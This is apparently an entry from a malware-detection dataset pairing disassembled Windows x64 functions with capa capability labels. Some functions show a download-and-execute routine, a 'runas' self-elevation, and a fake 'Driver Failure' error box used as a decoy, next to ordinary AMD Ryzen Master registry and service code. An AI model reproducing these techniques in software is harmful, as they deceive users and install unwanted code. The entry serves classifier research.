joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011762
Capabilities:
Parse pe header

Disassembly:
jmp 0x140023490
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400234b0
xor al, al
jmp 0x140023531
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400234c3
xor al, al
jmp 0x140023531
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400234ed
xor al, al
jmp 0x140023531
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140023501
xor al, al
jmp 0x140023531
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140023513
xor al, al
jmp 0x140023531
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002352f
xor al, al
jmp 0x140023531
mov al, 1
add rsp, 0x38
ret
Function at 0x140011a41
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140019ba0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14003a10d]
call fcn.140011a55
nop
xor edx, edx
mov ecx, 0xf
call fcn.1400114d8
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140019c05
xor al, al
jmp 0x140019c61
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001168b
test eax, eax
je 0x140019c54
lea rdx, [rbp + 0x5c]
mov rcx, qword [rbp + 0x420]
call fcn.14001137a
movzx eax, al
test eax, eax
je 0x140019c43
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov al, 1
jmp 0x140019c61
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140011910
test eax, eax
jne 0x140019c1d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002bbe0]
call fcn.1400118b1
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400114f1
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret
Function at 0x140011abe
Capabilities:
Create process on windows
Download url
Get common file path
Receive data
Terminate process

Disassembly:
jmp 0x1400197a0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x578
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xf2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x598]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x538], rax
lea rcx, [0x14003a10d]
call fcn.140011a55
nop
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x140019835
xor r9d, r9d
lea r8, str.Driver_Failure
lea rdx, str.Failed_to_load_drivers._Error_code:_101
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x4a8]
call fcn.14001135c
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x520], rax
lea r8, [0x14002ca34]
mov rdx, qword [rbp + 0x520]
lea rcx, [rbp + 0x4e8]
call fcn.140011659
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x530], rax
mov r8, qword [rbp + 0x568]
mov rdx, qword [rbp + 0x530]
lea rcx, [rbp + 0x238]
call fcn.140011ad2
nop
lea rcx, [rbp + 0x4e8]
call fcn.14001190b
nop
lea rcx, [rbp + 0x4a8]
call fcn.14001190b
nop
lea rcx, [rbp + 0x238]
call fcn.14001136b
mov qword [rbp + 0x518], rax
mov rcx, qword [rbp + 0x560]
call fcn.14001136b
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x518]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.140011983
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 0
jl 0x14001999c
mov dword [rbp + 0x2a0], 0x70
lea rax, [rbp + 0x2a4]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, [0x14002ca38]
mov qword [rbp + 0x2b0], rax
lea rcx, [rbp + 0x238]
call fcn.14001136b
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2a8], 0
mov dword [rbp + 0x2d0], 1
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14001999a
xor r9d, r9d
lea r8, str.Driver_Failure
lea rdx, str.Failed_to_load_drivers._Error_code:_101
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1400199c2
xor r9d, r9d
lea r8, str.Driver_Failure
lea rdx, str.Failed_to_load_drivers._Error_code:_101
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp + 0x238]
call fcn.14001190b
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002bad0]
call fcn.1400118b1
mov rcx, qword [rbp + 0x538]
xor rcx, rbp
call fcn.1400114f1
lea rsp, [rbp + 0x548]
pop rdi
pop rbp
ret
Function at 0x140011b31
Capabilities:
Create process on windows
Terminate process

Disassembly:
jmp 0x14001a0e0
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x14003a10d]
call fcn.140011a55
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14001a1bb
mov dword [rbp + 0x240], 0x70
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x10]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x270], 1
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14001a1bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x14001a1bb
xor r9d, r9d
lea r8, str.Driver_Failure
lea rdx, str.Failed_to_load_drivers._Error_code:_101
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140020d80
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011aa0
movzx eax, al
test eax, eax
jne 0x140020da0
mov ecx, 7
call fcn.1400118c5
nop
mov byte [rsp + 0x20], 0
call fcn.140011906
mov byte [rsp + 0x21], al
cmp dword [0x140032770], 1
jne 0x140020dc4
mov ecx, 7
call fcn.1400118c5
nop
jmp 0x140020e1c
cmp dword [0x140032770], 0
jne 0x140020e17
mov dword [0x140032770], 1
lea rdx, [0x14002a770]
lea rcx, [0x14002a440]
call fcn.1400114d3
test eax, eax
je 0x140020df8
mov eax, 0xff
jmp 0x140020f21
lea rdx, [0x14002a330]
lea rcx, [section..rdata]
call fcn.1400118f2
mov dword [0x140032770], 2
jmp 0x140020e1c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011898
call fcn.140011799
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140020e79
mov rcx, qword [rsp + 0x30]
call fcn.14001140b
movzx eax, al
test eax, eax
je 0x140020e79
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14003b020]
nop
call fcn.140011811
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140020ead
mov rcx, qword [rsp + 0x38]
call fcn.14001140b
movzx eax, al
test eax, eax
je 0x140020ead
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011a2d
nop
call fcn.140020fd0
mov dword [rsp + 0x28], eax
call fcn.140011762
movzx eax, al
test eax, eax
jne 0x140020ecc
mov ecx, dword [rsp + 0x28]
call fcn.1400110cd
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140020edb
call fcn.140011a3c
nop
xor edx, edx
mov cl, 1
call fcn.1400113c0
mov eax, dword [rsp + 0x28]
jmp 0x140020f21
add rsp, 0x68
ret
Function at 0x140030520
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x1401d9928]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov rdi, rcx
lea rcx, [0x1402040e3]
call fcn.14008c210
xor edx, edx
lea rcx, [rbp + 0x130]
mov r8d, 0x100
call fcn.140093c40
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x100
call fcn.140093c40
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x100
call fcn.140093c40
xor esi, esi
lea rcx, [rbp + 0x230]
xor edx, edx
mov dword [rsp + 0x20], esi
mov r8d, 0x100
call fcn.140093c40
mov r8d, 0x100
lea rdx, [rsp + 0x30]
lea rcx, str.AMDRMPATH
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x1400305e8
mov r8d, 0x100
lea rdx, [rsp + 0x30]
lea rcx, [0x14016c308]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x14003061b
lea r8, [rsp + 0x30]
lea rdx, str._sbinRM1.dat
lea rcx, [rbp + 0x230]
call fcn.140038ef0
lea rdx, [0x14016c328]
lea rcx, [rbp + 0x230]
call fcn.1400e8360
mov rbx, rax
test rax, rax
jne 0x140030622
xor eax, eax
jmp 0x140030755
mov r8d, 0x100
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.1400b65d0
mov r8d, esi
lea rax, [rsp + 0x30]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], sil
jne 0x140030644
mov r10d, esi
test rdx, rdx
je 0x140030687
lea rcx, [rbp + 0x130]
lea r9, [rsp + 0x30]
movzx eax, byte [r9]
cmp al, 0x20
je 0x14003066d
mov byte [rcx], al
jmp 0x140030673
dec r8d
dec rcx
inc r10d
inc r9
movsxd rax, r10d
inc r8d
inc rcx
cmp rax, rdx
jb 0x140030661
movsxd rax, r8d
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x30]
mov byte [rsp + 0x30], sil
lea rdx, str._s__d
mov rcx, rbx
mov byte [rbp + rax + 0x130], sil
call fcn.140038e20
cmp eax, 0xffffffff
je 0x140030749
nop dword [rax]
mov rax, rsi
mov rdx, rsi
cmp byte [rsp + 0x30], al
je 0x1400306fa
nop dword [rax]
test al, 1
jne 0x1400306e3
movzx ecx, byte [rsp + rax + 0x30]
sub cl, 3
mov byte [rbp + rdx + 0x30], cl
inc rdx
inc rax
cmp byte [rsp + rax + 0x30], sil
jne 0x1400306d0
cmp rdx, 0x100
jae 0x14003077d
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x130]
dec eax
mov byte [rbp + rdx + 0x30], sil
cdq
sub eax, edx
lea rdx, [rbp + 0x30]
sar eax, 1
mov dword [rsp + 0x20], eax
call fcn.140093f40
test rax, rax
jne 0x140030749
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], esi
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, str._s__d
call fcn.140038e20
cmp eax, 0xffffffff
jne 0x1400306c0
mov rcx, rbx
call fcn.1400e7960
mov eax, dword [rsp + 0x20]
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.14008c3a0
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14008d530
int3
Function at 0x140039690
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x868
mov rax, qword [0x1401d9928]
xor rax, rsp
mov qword [rsp + 0x850], rax
lea rcx, [0x140204128]
call fcn.14008c210
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x800
call fcn.140093c40
lea rax, [rsp + 0x38]
mov dword [rsp + 0x30], 0x800
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SystemCurrentControlSetControl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140039780
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x860], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SystemStartOptions
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov rbx, qword [rsp + 0x860]
jne 0x140039780
lea rdx, str.USEPLATFORMCLOCK
lea rcx, [rsp + 0x50]
call fcn.140094810
xor ecx, ecx
test rax, rax
setne cl
mov eax, ecx
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.14008c3a0
add rsp, 0x868
ret
lea rdx, str._HPET_not_found__n
lea rcx, [0x14016c388]
call fcn.140039030
xor eax, eax
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.14008c3a0
add rsp, 0x868
ret

Function at 0x140039810
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x1401d9928]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [0x140204128]
call fcn.14008c210
xor ebx, ebx
mov qword [rsp + 0x30], 0x11c
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r8d, 0x100
mov dword [rsp + 0x40], ebx
lea rcx, [rsp + 0x44]
call fcn.140093c40
mov r8b, 1
mov dword [rsp + 0x144], ebx
mov edx, 0x80
mov dword [rsp + 0x148], 0x10000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov edx, 0x80
lea rcx, [rsp + 0x30]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x1400398be
lea r8, [rsp + 0x20]
mov edx, 0x64
xor ecx, ecx
call sub.NETAPI32.dll_NetWkstaGetInfo
test eax, eax
jne 0x1400398b8
mov rcx, qword [rsp + 0x20]
mov ebx, dword [rcx + 0x18]
call sub.NETAPI32.dll_NetApiBufferFree
cmp ebx, 0xa
sete al
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14008c3a0
add rsp, 0x160
pop rbx
ret

Function at 0x1400398e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
lea rcx, [0x140204128]
call fcn.14008c210
xor r8d, r8d
cmp byte [rbx], r8b
je 0x140039932
mov r9, rdi
mov rax, rbx
sub r9, rbx
nop dword [rax]
movzx edx, byte [r9 + rax]
test dl, dl
je 0x140039932
movzx ecx, byte [rax]
cmp cl, dl
je 0x140039927
xor cl, 0x20
cmp cl, dl
jne 0x140039932
inc rax
inc r8d
cmp byte [rax], 0
jne 0x140039910
movsxd rax, r8d
movzx edx, byte [rax + rbx]
movzx ecx, byte [rax + rdi]
cmp dl, cl
jne 0x14003994e
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
or cl, 0x20
or dl, 0x20
mov eax, 1
cmp dl, cl
mov r8d, 0xffffffff
cmovl eax, r8d
add rsp, 0x20
pop rdi
ret
Function at 0x140039970
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1401d9928]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, [0x140204128]
call fcn.14008c210
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x1400399fe
mov r8d, 0xf003f
lea rdx, str.AMDRyzenMasterDriverV17
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
je 0x1400399fe
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [rsp + 0x24], 4
jne 0x1400399fe
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x140039a03
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14008c3a0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x140039a20
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rsi, r9
lea rcx, [0x140204128]
mov ebp, r8d
mov rbx, rdx
call fcn.14008c210
cmp byte [rsp + 0x80], 0
mov rdx, rbx
mov rcx, rdi
je 0x140039a69
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
jmp 0x140039a82
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140039abb
mov eax, dword [rsp + 0x78]
mov r9d, ebp
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, rsi
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140039ac2
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0xffffffff
jmp 0x140039aca
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140039ae0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbx, rcx
mov esi, r8d
lea rcx, [0x140204128]
mov edi, edx
call fcn.14008c210
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebp, eax
call fcn.1400b6940
mov rcx, rax
lea rdx, [0x140174c18]
mov r8, rbx
call fcn.14003a160
test edi, edi
je 0x140039ba6
xor eax, eax
mov r9d, 0x400
mov qword [rsp + 0x30], rax
mov r8d, ebp
mov dword [rsp + 0x28], eax
xor edx, edx
lea rax, [rsp + 0x68]
mov ecx, 0x1100
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov ecx, 2
test eax, eax
je 0x140039b7f
call fcn.1400b6940
mov r8, qword [rsp + 0x68]
lea rdx, [0x140174c18]
mov rcx, rax
call fcn.14003a160
jmp 0x140039b96
call fcn.1400b6940
mov rcx, rax
lea rdx, str.Last_known_Error___d._n
mov r8d, ebp
call fcn.14003a160
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140039ba6
call qword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x140039bb3
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140042cd0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rdi, rcx
mov rbx, rdx
lea rcx, [0x1402041b8]
call fcn.14008c210
xor ebp, ebp
mov qword [rdi], rbx
mov qword [rsp + 0x58], rbp
lea rsi, [rdi + 0x10]
mov qword [rsp + 0x50], rbp
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rbp
xor r9d, r9d
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
mov qword [rdi + 8], rbp
mov dword [rsi], ebp
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov ecx, dword [rsi]
inc ecx
mov dword [rsi], ecx
test eax, eax
je 0x140042d5e
mov rcx, qword [rdi + 8]
mov dword [rsi], ebp
call fcn.14008cc90
mov qword [rdi + 8], rbp
jmp 0x140042d67
call fcn.14008cc70
mov qword [rdi + 8], rax
lea r11, [rsp + 0x60]
mov rax, rdi
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400441d0
Capabilities:
Query or enumerate registry key

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x1402041b8]
call fcn.14008c210
mov rcx, qword [rbx + 8]
add rsp, 0x20
pop rbx
jmp fcn.140045640

Function at 0x140044230
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x1402041b8]
call fcn.14008c210
mov rcx, qword [rbx + 8]
add rsp, 0x20
pop rbx
jmp fcn.1400456b0
Function at 0x140044b80
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, rdx
mov rdi, rcx
lea rcx, [0x1402041b8]
call fcn.14008c210
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140044d65
mov ecx, dword [rbp + 0x20]
call fcn.14008cc70
mov rsi, rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [rbp + 0x20]
add rdi, rsi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea ecx, [r14 + 0x10]
call fcn.1400026c0
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rbp - 0x28]
mov rax, qword [rbp - 0x28]
mov qword [rax], rcx
cmp rsi, rdi
jbe 0x140044c9d
lea rax, str.transposed_pointer_range
mov qword [rsp + 0x28], rax
lea rax, [0x1401677e4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x22f
lea rdx, [0x140167830]
lea ecx, [r14 + 2]
call fcn.1400abe80
cmp eax, 1
jne 0x140044c78
int3
mov qword [rsp + 0x20], r14
mov r9d, 0x22f
lea r8, str.c:program_files__x86_microsoft_visual_studio2019community_vc_toolsmsvc14.16.27023includexutility
lea rdx, str.std::_Verify_range
lea rcx, str._transposed_pointer_range_
call fcn.1400a9e30
movzx r9d, byte [rbp + 0x20]
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x28]
call fcn.140042040
nop
lea rax, [rbp - 0x28]
cmp rbx, rax
je 0x140044d14
mov rcx, rbx
call fcn.1400065e0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140044ce4
mov rdx, qword [rbx + 0x18]
sub rdx, rcx
call fcn.140002860
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
lea rdx, [rbp - 0x28]
mov rcx, rbx
call fcn.140034000
mov rax, qword [rbp - 0x20]
mov qword [rbx + 8], rax
mov rax, qword [rbp - 0x18]
mov qword [rbx + 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbx + 0x18], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
lea rcx, [rbp - 0x28]
call fcn.1400065e0
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140044d3e
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
call fcn.140002860
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
lea rcx, [rbp - 0x28]
call fcn.1400065e0
mov edx, 0x10
mov rcx, qword [rbp - 0x28]
call fcn.140002860
nop
mov edx, 1
mov rcx, rsi
call fcn.14008c420
jmp 0x140044d75
mov rcx, rbx
call fcn.1400065e0
mov rax, qword [rbx + 8]
mov qword [rbx + 0x10], rax
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140044fa0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rdi, rcx
lea rcx, [0x1402041b8]
call fcn.14008c210
mov rbx, qword [rdi]
test rbx, rbx
jne 0x140044fe9
mov r8d, dword [0x1401d9888]
lea rdx, str.z:project_sw_svndip_asryzenmaster_asryzenmasterwinregistry.cpp
inc r8d
lea rcx, str.m_base___NULL
call fcn.140106930
mov rbx, qword [rdi]
mov rbp, qword [rdi + 8]
lea r9, [rsp + 0x60]
xor r14d, r14d
inc rbp
mov qword [rdi + 8], rbp
mov edx, ebp
mov eax, dword [rbx + 0x10]
mov r8, qword [rbx + 8]
mov rcx, qword [rbx]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, eax
test eax, eax
jne 0x1400450a8
mov eax, dword [rbx + 0x10]
cmp dword [rsp + 0x60], eax
jb 0x140045086
mov rcx, qword [rbx + 8]
call fcn.14008cc90
mov eax, dword [rsp + 0x60]
inc eax
mov ecx, eax
mov dword [rbx + 0x10], eax
call fcn.14008cc70
mov ecx, dword [rbx + 0x10]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x38], r14
mov r8, rax
mov dword [rsp + 0x60], ecx
mov edx, ebp
mov rcx, qword [rbx]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rbx + 8], rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, eax
test eax, eax
jne 0x1400450a8
mov rdx, qword [rbx + 8]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r14b
jne 0x140045091
mov r8, rax
lea rcx, [rdi + 0x10]
call fcn.140034ad0
jmp 0x1400450cc
cmp qword [rdi + 0x30], 0x10
lea rax, [rdi + 0x18]
mov qword [rdi + 0x28], r14
jb 0x1400450ba
mov rax, qword [rax]
mov byte [rax], r14b
test ecx, ecx
je 0x1400450cc
mov rax, 0xffffffffffffffff
mov qword [rdi + 8], rax
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret